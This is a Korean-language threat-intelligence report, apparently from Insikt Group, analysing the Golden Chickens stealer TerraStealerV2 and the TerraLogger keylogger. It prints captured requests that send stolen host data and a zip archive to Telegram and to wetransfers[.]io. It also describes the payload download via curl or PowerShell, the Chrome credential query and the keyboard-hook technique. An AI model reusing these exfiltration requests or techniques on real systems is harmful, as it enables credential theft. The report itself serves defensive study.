TerraStealerV2 및 TerraLogger: Golden Chickens의 새로운 멀웨어 계열 발견
Executive Summary
Insikt Group은 금전적 동기를 가진 위협 행위자인 Golden Chickens(Venom Spider라고도 함)와 관련된 두 개의 새로운 멀웨어 계열, TerraStealerV2와 TerraLogger를 식별했습니다. Golden Chickens는 FIN 6, Cobalt Group 및 Evilnum과 같은 사이버 범죄 그룹이 사용하는 서비스형 멀웨어(MaaS) 플랫폼을 운영하는 것으로 알려져 있습니다. 2025년 1월부터 4월 사이에 관찰된 새로운 계열은 자격 증명 탈취 및 키로깅을 목표로 한 개발이 계속되고 있음을 시사합니다.
TerraStealerV2는 브라우저 자격 증명, 암호화폐 지갑 데이터, 브라우저 확장 정보를 수집하도록 설계되었습니다. Chrome “로그인 데이터” 데이터베이스를 대상으로 자격 증명을 도용하지만, 2024년 7월 이후 Chrome 업데이트에서 도입된 ABE(애플리케이션 바운드 암호화) 보호를 우회하지 않습니다. 이는 멀웨어 코드가 오래되었거나 아직 개발 중임을 나타냅니다. 데이터는 Telegram과 wetransfers[.]io 도메인 모두로 유출됩니다. 스틸러는 LNK, MSI, DLL, EXE 파일 등 여러 형식을 통해 배포되는 것이 관찰되었으며, regsvr32.exe 및 mshta.exe와 같은 신뢰할 수 있는 Windows 유틸리티를 활용하여 탐지를 회피합니다.
반면 TerraLogger는 독립형 키로거입니다. 일반적인 저수준 키보드 훅을 사용하여 키 입력을 기록하고 로그를 로컬 파일에 저장합니다. 그러나 데이터 유출이나 명령 및 제어(C2) 통신 기능은 포함되어 있지 않으며, 이는 개발 초기 단계에 있거나 Golden Chickens MaaS 생태계의 모듈형 부분으로 의도되었음을 나타냅니다.
TerraStealerV2 및 TerraLogger의 현재 상태는 두 도구 모두 활발히 개발 중임을 보여주며, 대체로 성숙한 Golden Chickens 도구와 연관된 스텔스 수준을 나타내지는 않고 있습니다. Golden Chickens가 자격 증명 탈취 및 액세스 작전을 위한 멀웨어를 개발해 온 이력을 고려할 때, 이러한 기능은 계속 진화할 가능성이 높습니다. 조직에서는 이 보고서에서 제공된 완화 지침에 따라 멀웨어 계열의 성숙에 대비해 침해 위험을 줄여야 합니다.
주요 연구 결과
- Insikt Group은 Golden Chickens 위협 행위자와 연관된 두 개의 새로운 멀웨어 계열인 TerraStealerV2와 TerraLogger를 식별했습니다. TerraStealerV2는 브라우저 자격 증명을 탈취하고 암호화폐 지갑을 표적으로 삼을 수 있으며, TerraLogger는 독립형 키로거 모듈로 작동합니다.
- TerraLogger는 Golden Chickens가 개발한 멀웨어에서 처음으로 관찰된 키로깅 기능입니다.
- TerraStealerV2는 Chrome ABE로 보호된 자격 증명 해독을 지원하지 않으며, 이는 이 도구가 오래되었거나 아직 개발 중임을 나타냅니다.
- Insikt Group은 2025년 1월부터 3월까지 MSI, DLL 및 LNK 파일을 포함하여 다양한 전달 방법을 사용한 10개의 고유한 TerraStealerV2 배포 샘플을 관찰했습니다.
배경
골든 치킨스(Golden Chickens)는 베놈 스파이더(Venom Spider)라는 별칭으로도 추적되는 금융적 동기를 가진 사이버 위협 행위자로, MaaS(Malware-as-a-Service) 모델을 통해 은밀하고 모듈형 악성 소프트웨어 스위트를 운영하는 것으로 알려져 있습니다. 2018년부터 Golden Chickens MaaS 스위트는 소셜 엔지니어링 벡터를 통해 고가치 조직을 대상으로 한 캠페인에 배포되어 왔으며, 특히 가짜 채용 제안이나 이력서를 활용한 스피어 피싱 캠페인을 통해 공격을 수행해 왔습니다. 특히, 이 악성 소프트웨어는 러시아 기반의 FIN6 및 Cobalt Group을 비롯해 벨라루스 기반의 Evilnum 등 최상위 사이버 범죄 단체들에 의해 사용되고 있으며, Evilnum은 전 세계적으로 $1.5억 달러 이상의 피해를 입힌 것으로 알려져 있습니다.
Golden Chickens MaaS 계열의 핵심 구성 요소는 VenomLNK와 TerraLoader입니다. 초기 감염은 일반적으로 악성 Windows 바로 가기 파일인 VenomLNK를 통해 이루어집니다. 이 파일은 추가 Golden Chickens 멀웨어 배포를 담당하는 로더 모듈인 TerraLoader를 실행합니다. 이 모듈에는 자격 증명 수집을 위한 TerraStealer, TeamViewer 하이재킹을 위한 TerraTV, 랜섬웨어 배포를 위한 TerraCrypt가 포함됩니다. 아래 그림 1에 표시된 바와 같이, 정찰을 위한 TerraRecon, 데이터 삭제용 TerraWiper, lite_more_eggs 등이 Golden Chickens 생태계에 속하는 추가 멀웨어 계열입니다.
eSentire의 위협 대응 팀(Threat Response Unit)의 추적 결과, Golden Chickens는 몰도바와 캐나다 몬트리올 출신 개인들이 공동으로 운영 중인 것으로 추정되는 위협 행위자 'badbullzvenom'과 연결되었습니다. 위협 행위자의 개발 이력은 저수준 포럼 참여자에서 확고한 MaaS 제공업체로 발전한 과정을 보여줍니다. 골든 치킨스가 개발한 도구는 영국 항공(British Airways), 뉴에그(Newegg), 티켓마스터 UK 등 여러 캠페인을 통해 무기화되었습니다.
2024년 8월부터 10월까지 Zscaler ThreatLabz는 Golden Chickens와 연관된 활동이 재개되었으며, 이 과정에서 두 개의 신규로 식별된 악성 소프트웨어 가족인 RevC2와 Venom Loader가 배포된 것을 관찰했습니다. 이 도구들은 VenomLNK 캠페인을 통해 배포되었으며, 암호화폐 결제 요청 및 소프트웨어 API 문서와 같은 사회공학 유인물을 활용했습니다. 그림 2는 RevC2를 배포하기 위해 사용된 공격 체인을 보여줍니다.
초기 전달 벡터는 알려지지 않았지만, 감염 과정은 VenomLNK 파일의 실행으로 시작됩니다. 이 파일은 유인 테마와 일치하는 가짜 이미지(이 경우 소프트웨어 API 문서)를 다운로드하고 RevC2 실행을 시작합니다. 구체적으로, LNK 파일은 wmic.exe를 활용하여 regsvr32.exe를 실행합니다. 원격 네트워크 공유에 호스팅된 악성 OCX 페이로드를 로드합니다.
기술 분석
Insikt Group은 Golden Chickens 위협 행위자 그룹에 의한 소행으로 추정되는 두 개의 새로운 멀웨어 계열을 식별했습니다. TerraStealerV2로 추적되는 첫 번째는 주로 브라우저 자격 증명, 암호화폐 지갑, 브라우저 확장 프로그램을 노리는 정보 탈취 프로그램입니다. 두 번째는 TerraLogger로 추적되는 키로거로, 독립형 모듈로 관찰되었습니다. 다음 하위 섹션에서는 각 멀웨어 계열에 대한 자세한 기술 분석을 제공합니다.
TerraStealerV2
Insikt Group은 최근 2025년 3월 3일 Recorded Future Malware Intelligence에 업로드된 Golden Chickens에 의한 새로운 스틸러를 식별했습니다. 샘플에 포함된 프로그램 데이터베이스(PDB) 경로(그림 3 참조)에 따르면 위협 행위자는 멀웨어를 NOK로 지칭하지만, Insikt Group은 이를 TerraStealerV2로 추적합니다.
그림 3: TerraStealerV2 PDB 문자열 (출처: Recorded Future)
이 스틸러는 OCX 파일로 배포되어 regsvr32.exe를 통해 실행되도록 설계되었습니다. DllRegisterServer 수출 함수를 호출합니다. DllRegisterServer가 실행되면 먼저 제공된 파일이 .ocx 확장자를 가지고 있는지 확인합니다. 확장자가 특정 확장자로 끝나고 파일 이름이 특정 하드코딩된 문자나 숫자로 끝나는 경우(예: 0.ocx). 그 다음으로, 해당 파일이 regsvr32.exe에 의해 실행되고 있는지 확인한 후 진행합니다. 이는 아래 그림 4에 표시된 대로입니다.
악성 코드는 하드코딩된 키를 사용한 XOR 해독 루틴을 통해 문자열 난독화를 해제합니다. 이 기능은 GetUserNameA 및 GetComputerNameA 함수를 호출하여 로컬 사용자 이름과 시스템 이름을 가져와 기본 호스트 정보를 수집합니다. 그 다음으로, ifconfig[.]me에 HTTP 요청을 보내 피해자의 IP 주소를 확인합니다. 수집된 데이터는 이후 텔레그램 메시징 플랫폼을 통해 "Noterdam"이라는 채널로 전송되며, 이 과정에서 "NoterdanssBot"과 연관된 봇 토큰이 사용됩니다. 이는 그림 5에 표시되어 있습니다.
POST /< redacted >/sendMessage?chat_id=-4652754121 HTTP/1.1
Host: api.telegram.org
Accept: */*
Content-Length: 24014
Content-Type: application/x-www-form-urlencoded
chat_id=-4652754121&text=%2A%2ANew%20User%20Ran%20the%20Application%2A%2A%0A%2A%2AUsername%3A%2A%2A%20Admin%0A%2A%2APC%20Name%3A%2A%2A%20UUHJKMQK%0A%2A%2AIP%20Address%3A%2A%2A%20%3C%21DOCTYPE%20html%3E%0A%3Chtml%20lang%3D%22en%22%3E%0A%0A%3Chead%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22Content-Type%22%20content%3D%22text%2Fhtml%3B%20charset%3DUTF-8%22%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22content-style-type%22%20content%3D%22text%2Fcss%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22content-script-type%22%20content%3D%22text%2Fjavascript%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22content-language%22%20content%3D%22en%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22pragma%22%20content%3D%22no-cache%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20http-equiv%3D%22cache-control%22%20content%3D%22no-cache%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20name%3D%22description%22%20content%3D%22Get%20my%20IP%20Address%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20name%3D%22keywords%22%20content%3D%22ip%20address%20ifconfig%20ifconfig.me%22%20%2F%3E%0A%20%20%20%20%3Cmeta%20name%3D%22author%22%20content%3D%22%22%20%2F%3E%0A%20%20%20%20%3Clink%20rel%3D%22shortcut%20icon%22%20href%3D%22favicon.ico%22%20%2F%3E%0A%20%20%20%20%3Clink%20rel%3D%22canonical%22%20href%3D%22https%3A%2F%2Fifconfig.me%2F%22%20%2F%3E%0A%20%20%20%20%3Ctitle%3EWhat%20Is%20My%20IP%20Address%3F%20-%20ifconfig.me%3C%2Ftitle%3E%0A%20%20%20%20%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-width%2C%20initial-scale%3D1%22%3E%0A%20%20%20%20%3Clink%20href%3D%22.%2Fstatic%2Fstyles%2Fstyle.css%22%20rel%3D%22stylesheet%22%20type%3D%22text%2Fcss%22%3E%0A%20%20%20%20%3Clink%20href%3D%22https%3A%2F%2Ffonts.googleapis.com%2Fcss%3Ffa
그림 5: TerraStealerV2가 초기 데이터를 텔레그램으로 유출 중 (출처: Recorded Future)
메시지의 POST 데이터에 대한 URL 디코딩을 보면 위협 행위자가 Telegram 채널로 구조화된 알림을 보낸다는 것이 확인됩니다. 그림 6에 표시된 알림에는 새 사용자가 애플리케이션을 실행했음을 나타내는 경고, 수집된 사용자 이름 및 시스템 이름, ifconfig[.]me 요청의 원시 HTML 응답이 포함되어 있습니다.
**새 사용자가 응용 프로그램을 실행했습니다**
**사용자 이름:** Admin
**PC 이름:** UUHJKMQK
**IP 주소:** <! DOCTYPE html>
< html lang="en">
<head>
< meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
< meta http-equiv="content-style-type" content="text/css" />
< meta http-equiv="content-script-type" content="text/javascript" />
< meta http-equiv="content-language" content="en" />
< meta http-equiv=pragma" content="no-cache" />
< meta http-equiv="cache-control" content="no-cache" />
< meta name="description" content="내 IP 주소 확인" />
그림 6: URL 해독된 데이터가 텔레그램으로 유출되었습니다 (출처: Recorded Future)
악성 소프트웨어는 활성 프로세스를 열거한 후 chrome.exe 인스턴스를 검색합니다; 검출되면 TerminateProcess Windows API를 사용하여 프로세스를 종료하려고 시도합니다. 이 동작은 Chrome의 브라우저 데이터베이스 파일에서 파일 잠금을 해제하여 데이터 추출 시 원활한 액세스를 보장하기 위해 의도된 것으로 보입니다. 이후 악성 소프트웨어는 Chrome에 저장된 자격 증명 및 기타 민감한 데이터를 추출하려고 시도하며, 특정 암호화폐 지갑과 브라우저 확장 프로그램을 표적으로 삼습니다.
크롬 브라우저 데이터베이스 도용 구현은 "Login Data" 데이터베이스를 C:ProgramData\Temp\LoginData로 복사한 후, 정적 링크된 SQLite 라이브러리를 사용하여 저장된 로그인 정보를 추출하고 SQL 쿼리 SELECT origin_url, username_value, password_value FROM logins를 실행합니다. TerraStealerV2는 SQLite 버전 3.46.0을 사용합니다. 이는 RevC2에 정적 링크로 연결된 동일한 버전으로, 코드 재사용이나 공동 개발 관행이 있을 가능성을 시사합니다. 그러나 이 구현은 Chrome의 ABE를 우회하지 않으므로, 2024년 7월 24일 이후 Chrome 기반 브라우저를 업데이트한 호스트에서는 수집된 비밀번호가 해독되지 않습니다. 이 제한 사항은 도용 코드가 오래되었거나 여전히 활발히 개발 중임을 시사합니다. 효과적인 도용 코드는 일반적으로 ABE 우회 기술을 적용하여 Chrome이나 Microsoft Edge의 최신 버전에서 암호화된 자격 증명을 추출하기 때문입니다.
Exfiltrated browser login data and informational messages are written to C:\ProgramData\file.txt and copied to %LOCALAPPDATA%\Packages\Bay0NsQIzx\p.txt when stealing operations have completed. If found, targeted browser extensions and wallets have their directories copied to %LOCALAPPDATA%\Packages\Bay0NsQIzx, and a Telegram message is sent indicating the number of crypto wallets found. The contents of %LOCALAPPDATA%\Packages\Bay0NsQIzx are subsequently compressed into an archive named output.zip, located in the same directory. The archive is then exfiltrated to the Telegram bot and a secondary C2 endpoint hosted at wetransfers[.]io/uplo.php, as shown in Figure 7. The domain wetransfers[.]io was registered on February 18, 2025, via NameCheap, Inc., and is currently hosted behind Cloudflare infrastructure.
POST /uplo.php HTTP/1.1
Host: wetransfers.io
Accept: */*
Content-Length: 11252
Content-Type: multipart/form-data; boundary=------------------------rUxSmqCNbtGx4auL8M41nl
--------------------------rUxSmqCNbtGx4auL8M41nl
Content-Disposition: form-data; name="zipFile"; filename="output.zip"
Content-Type: application/octet-stream
PK........3.dZ...')...).......p.txt2025-03-04 21:33:38 - 총 브라우저 수 2
PK..?.......3.dZ...')...).....................p.txtPK..........3...L.....
--------------------------rUxSmqCNbtGx4auL8M41nl
Content-Disposition: form-data; name="pcname"
UUHJKMQK
--------------------------rUxSmqCNbtGx4auL8M41nl
Content-Disposition: form-data; name="username"
Admin
--------------------------rUxSmqCNbtGx4auL8M41nl
Content-Disposition: form-data; name="totalwallets"
0
--------------------------rUxSmqCNbtGx4auL8M41nl
Content-Disposition: form-data; name="ip"
< ! DOCTYPE html>
< html lang="en">
<head>
< meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
< meta http-equiv="content-style-type" content="text/css" />
< meta http-equiv="content-script-type" content="text/javascript" />
< meta http-equiv="content-language" content="en" />
< meta http-equiv=pragma" content="no-cache" />
< meta http-equiv="cache-control" content="no-cache" />
< meta name="description" content="Get my IP Address" />
< meta name="keywords" content="ip address ifconfig ifconfig.me" />
그림 7: TerraStealerV2가 데이터를 wetransfers[.]io로 유출하고 있습니다. (출처: Recorded Future)
배포
Insikt Group TerraStealerV2의 배포에 사용된 다양한 배포 메커니즘을 식별했습니다. 이에는 실행 파일(EXE), 동적 링크 라이브러리(DLL), Windows 설치 패키지(MSI), 및 단축키(LNK) 파일이 포함됩니다. 관찰된 모든 사례에서 TerraStealerV2 OCX 페이로드가 URL wetransfers[.]io/v.php에서 추출되었습니다. — 동일한 도메인에 호스팅된 리소스를 데이터 유출에 활용하는 방법 — curl 또는 PowerShell을 사용하여 실행한 후 regsvr32.exe를 통해 실행됩니다( 그림 8 참조).
표 1은 Golden Chickens가 배포한 것으로 관찰된 TerraStealerV2 페이로드와 관련된 배포 샘플을 목록으로 보여줍니다. 이 목록에는 파일 이름, 컴파일 타임스탬프, 그리고 해당 페이로드가 포함되어 있습니다. SHA-256: 9aed0eda60e4e1138be5d6d8d0280343a3cf6b30d39a704b2d00503261adbe2a)라는 LNK 파일이 ClickFix로 추적된 활동 클러스터와 중복되는 것으로 보입니다. 이 경우 LNK 파일이 MP4 파일로 위장한 페이로드를 드롭했으며, 이 페이로드는 mshta.exe를 통해 실행되었습니다. 이는 ClickFix 캠페인에서 이전에 관찰된 전술과 일치하는 기술입니다.
표 1: TerraStealerV2 배포에 사용된 샘플 (출처: Recorded Future)
TerraLogger
Insikt Group은 2025년 1월 13일에 Recorded Future Malware Intelligence에 업로드된 Golden Chickens와 관련된 새로운 키로거를 확인했습니다. Insikt Group은 이 그룹을 TerraLogger로 추적하며, 5개의 독특한 샘플을 식별했습니다. 아래 그림 9에 표시된 바와 같이, 4개의 샘플은 의도한 대로 작동하며 동일한 PDB 문자열을 포함합니다. 나머지 샘플은 이 PDB 문자열을 포함하지 않으며, 대신 TerraStealerV2와 동일한 PDB 경로를 사용합니다(위 그림 3 참조). 이 이상값은 개발자 테스트로 보이며, TerraStealerV2와 동일한 문자열 인코딩 방법을 사용합니다. 그러나 키로거 관련 문자열을 초기화하는 동안 충돌이 발생하여 실행 중에 실패하고, 이로 인해 멀웨어가 주요 진입 지점에 도달하지 못합니다.
C:\Users\PC\Downloads\Projector\Projector\x64\Release\Projector.pdb그림 9: TerraLogger PDB 문자열 (출처: Recorded Future)
TerraLogger는 일반적으로 OCX 파일로 제공되며, TerraStealerV2와 동일한 초기 실행 검사를 사용합니다. 이 프로그램은 regsvr32.exe를 통해 실행되도록 설계되었습니다. DllRegisterServer 수출 함수를 호출합니다. 실행 시 먼저 제공된 파일이 .ocx 확장자를 가지고 있는지 확인합니다. 확장자가 포함되어 있으며 파일 이름이 고정된 문자 또는 숫자로 끝나는 경우(예: 0.ocx). 그 다음에 regsvr32.exe에 의해 실행되고 있는지 확인한 후 진행합니다. 초기 실행 검사가 통과되면 TerraLogger는 키 입력을 기록하기 위해 파일 핸들을 열습니다.
Insikt Group은 5개의 식별된 샘플 전반에 걸쳐 다수의 파일 경로를 확인했으며, C:\ProgramData 폴더에 위치한 a.txt, f.txt, op.txt 또는 save.txt와 같은 파일에 로그가 기록되었습니다. 악성 소프트웨어는 SetWindowsHookExA 함수를 사용하여 WH_KEYBOARD_LL 훅을 설치하는 일반적인 기술을 활용해 키로거를 구현합니다. 이 훅은 fn 콜백 함수( 그림 10에 표시됨)를 등록하여 메시지 이벤트를 가로채고 처리함으로써 키보드 활동을 캡처할 수 있도록 합니다.
키 입력은 mw_log_key 함수 내에서 열린 로그 파일에 기록됩니다. 이 기능은 먼저 현재 전경 창(foreground window)의 제목을 가져온 다음, 줄 구분자를 추가하고 그 뒤에 입력된 키 입력을 연결합니다. 이 코드에는 세미콜론, 괄호, 따옴표와 같은 특수 문자를 처리하는 논리가 포함되어 있으며, Shift 키의 상태를 확인하여 기록할 올바른 문자를 결정합니다. 키 코드가 알려진 특수 키와 일치하지 않는 경우, 해당 키는 " <" 형식으로 기록됩니다. KEY-[keycode]> 형식. 결과 로그 파일의 예시는 그림 11에 표시되어 있습니다.
표 2는 식별된 5개의 TerraLogger 키로거 샘플을 열거하고 버전별 차이를 요약합니다. 컴파일 타임스탬프는 첫 번째 버전이 2025년 1월 13일에 빌드되었으며, 가장 최근 샘플이 2025년 4월 1일에 컴파일되었음을 나타냅니다. 이 샘플들은 작은 규모의 점진적인 업데이트를 반영하며, 활발한 개발이 진행 중임을 시사합니다. 주요 변경 사항에는 키스트로크 로그를 저장하는 데 사용되는 파일 경로의 수정 및 특수 키의 표시 방식 변경이 포함됩니다. 특수 키는 각괄호로 묶인 대문자 토큰(예: , )에서 파이프 구분자(|)로 구분된 소문자 약어(예: |bck|, |sft|)로 변경되었습니다.
표 2: 독립형 TerraLogger 샘플 변화 비교 (출처: Recorded Future)
-
전체 분석 내용을 읽으려면 Click Here 를 클릭하여 보고서를 PDF로 다운로드하세요.